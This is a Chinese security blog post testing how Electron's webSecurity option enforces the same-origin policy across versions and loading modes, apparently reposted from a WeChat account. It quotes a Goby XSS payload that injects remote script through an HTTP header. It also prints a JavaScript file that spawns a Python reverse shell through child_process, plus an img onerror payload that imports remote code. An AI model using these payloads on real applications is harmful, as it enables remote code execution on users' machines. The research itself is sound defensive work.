前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >webSecurity | Electron 安全

webSecurity | Electron 安全

作者头像
意大利的猫
发布2024-04-22 12:43:16
1070
发布2024-04-22 12:43:16
举报
文章被收录于专栏:漫流砂漫流砂

0x01 简介

https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity

大家好,今天跟大家讨论的是 Electron 的安全配置选项 —— webSecurity

这在之前的文章 《Electron安全与你我息息相关》 中就已经提到过了,该选项的意义是开启同源策略,是 Electron 的默认值,即默认即开启同源策略

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

之前我们在讨论 Goby 的漏洞时,我们发现,利用的 Payload如下

代码语言:javascript
复制
<?php
header("X-Powered-By: PHP/<img  src=\"x\"       onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
?>

test2.js

代码语言:javascript
复制
(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
})();

https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ

在这里我们注意到放置 Payload 的地方在外部的 JavaScript 文件,虽然上面写的是 127.0.0.1 ,实际是想说我们恶意服务器上的 JavaScript

正常来说,这种利用是不会成功的,因为有同源策略的限制,但是后来我们发现老版本的 Goby 显式地将 webSecurity 设置为了 false ,不然利用的话还会再难一些

我们公众号开启了留言功能,欢迎大家留言讨论~

这篇文章也提供了 PDF 版本及 Github ,见文末

0x02 安全效果测试

这个实验需要分为两个部分,这也是我测试过程中发现的小问题

远程恶意的 JavaScript 服务器

测试过程中未设置 CSP 策略,避免影响结果

测试思路很简单,就是直接让 index.html 中加载如下代码

代码语言:javascript
复制
<img src="x" onerror="import(unescape('http://192.168.31.216/payload.js'))" />

如果可以成功加载,就会在页面中显示 Remote code is running.

1. 本地加载测试同源策略

index.html

代码语言:javascript
复制
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Web Security Test</title>
</head>
<body>
  <h1>Web Security Test</h1>

  <div id="local-js"></div>
  <hr>
  <div id="remote-js"></div>

  <!-- 跨源脚本 -->
  <img src="x" onerror="import(unescape('http://192.168.31.216/payload.js'))" />
  <script>
    document.getElementById('local-js').innerText ="Local code is runnning."
  </script>
</body>
</html>

main.js

代码语言:javascript
复制
// Modules to control application life and create native browser window
const { app, BrowserWindow } = require('electron')
const path = require('path')

function createWindow () {
  // Create the browser window.
  const mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences: {
      webSecurity: true,
      // preload: path.join(__dirname, 'preload.js')
    }
  })

  mainWindow.loadFile('index.html')
}

app.whenReady().then(() => {
  createWindow()

  app.on('activate', function () {
    if (BrowserWindow.getAllWindows().length === 0) createWindow()
  })
})

app.on('window-all-closed', function () {
  if (process.platform !== 'darwin') app.quit()
})

webSecurity: false

webSecurity 设置为 false

Electron 5.0、10.0、30.0 版本中均可以成功执行远程 JavaScript 代码

webSecurity: true

Electron 5.0、10.0、30.0 版本中均可以成功执行远程 JavaScript 代码

小结

在本地加载 index.html 的时候,在本地资源中加载外部 JavaScript 是不受 webSecurity 影响的

2. 远程加载测试同源策略

index.html 放到单独的服务器上 http://192.168.31.185:8080/index.html

main.js

代码语言:javascript
复制
// Modules to control application life and create native browser window
const { app, BrowserWindow } = require('electron')
const path = require('path')

function createWindow () {
  // Create the browser window.
  const mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences: {
      webSecurity: true,
      // preload: path.join(__dirname, 'preload.js')
    }
  })
  
  mainWindow.loadURL('http://192.168.31.185:8080/index.html')

  // Open the DevTools.
  mainWindow.webContents.openDevTools()
}

app.whenReady().then(() => {
  createWindow()

  app.on('activate', function () {
    // On macOS it's common to re-create a window in the app when the
    // dock icon is clicked and there are no other windows open.
    if (BrowserWindow.getAllWindows().length === 0) createWindow()
  })
})

app.on('window-all-closed', function () {
  if (process.platform !== 'darwin') app.quit()
})

webSecurity: false

这里就出现了一个有趣的现象,关闭了 webSecurity 后,在 10.0 中竟然还是远程加载 JavaScript 失败了,但是在 5.030.0 中均成功了,这应该是 Electron 的一个 bug

webSecurity: true

开启了 webSecurity 后,表现倒是一致的,均阻拦了跨域的资源请求

补充测试

虽然Electron 中这个 bug 不是很重要,但是我们还是补充测试一下,到底是哪些版本存在该 bug

Electron 11.0.0 中该 bug 已经修复

Electron 10.1.3 中该 bug 已经修复

Electron 10.1.2 中该 bug 存在,所以是在 ELectron 10.1.3 中被修复,我们看一下在哪个版本中开始存在

Electron 9.0.0 中已经存在该 bug

Electron 8.5.5 版本中不存在该 bug

因此存在该 bug 的版本为 Electron 9.0.0 ~ 10.1.2

小结

在远程加载的形式创建窗口时, webSecurity 的开始起作用,设置为 true 时,同源策略有效,当设置为 false 时, Electron 9.0.0 ~ 10.1.2 依旧存在同源策略,除以上版本外同源策略均失效

0x03 总结

Electron 项目中比较常见的通过 loadFile('index.html') 创建窗口时,webSecurity 选项并没有用,可以加载 file://http:// 这种本地或远程的 JavaScript

当通过 loadURL 加载远程页面创建窗口时,webSecurity 选项有效,默认配置为 true,值为 true 时,同源策略有效;当值为 false 时,在 Electron 9.0.0 ~ 10.1.2 版本中,关闭同源策略失败,同源策略仍然有效,这是一个 bug ,除上述版本以外均会关闭同源策略,允许跨域加载 JavaScript

需要注意的是,加载资源这个事还会受 CSP(内容安全策略) 的影响,文中的测试均为未设置 CSP 时的情况

默认值的时间线如下:

0x04 PDF版 & Github

PDF

https://pan.baidu.com/s/1z4qW-8leTnTI-Rd5RS6LxQ?pwd=ngy7

Github

https://github.com/Just-Hack-For-Fun/Electron-Security

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 安全效果测试
    • 1. 本地加载测试同源策略
      • webSecurity: false
      • webSecurity: true
      • 小结
    • 2. 远程加载测试同源策略
      • webSecurity: false
      • webSecurity: true
      • 补充测试
      • 小结
  • 0x03 总结
  • 0x04 PDF版 & Github
相关产品与服务
腾讯云服务器利旧
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档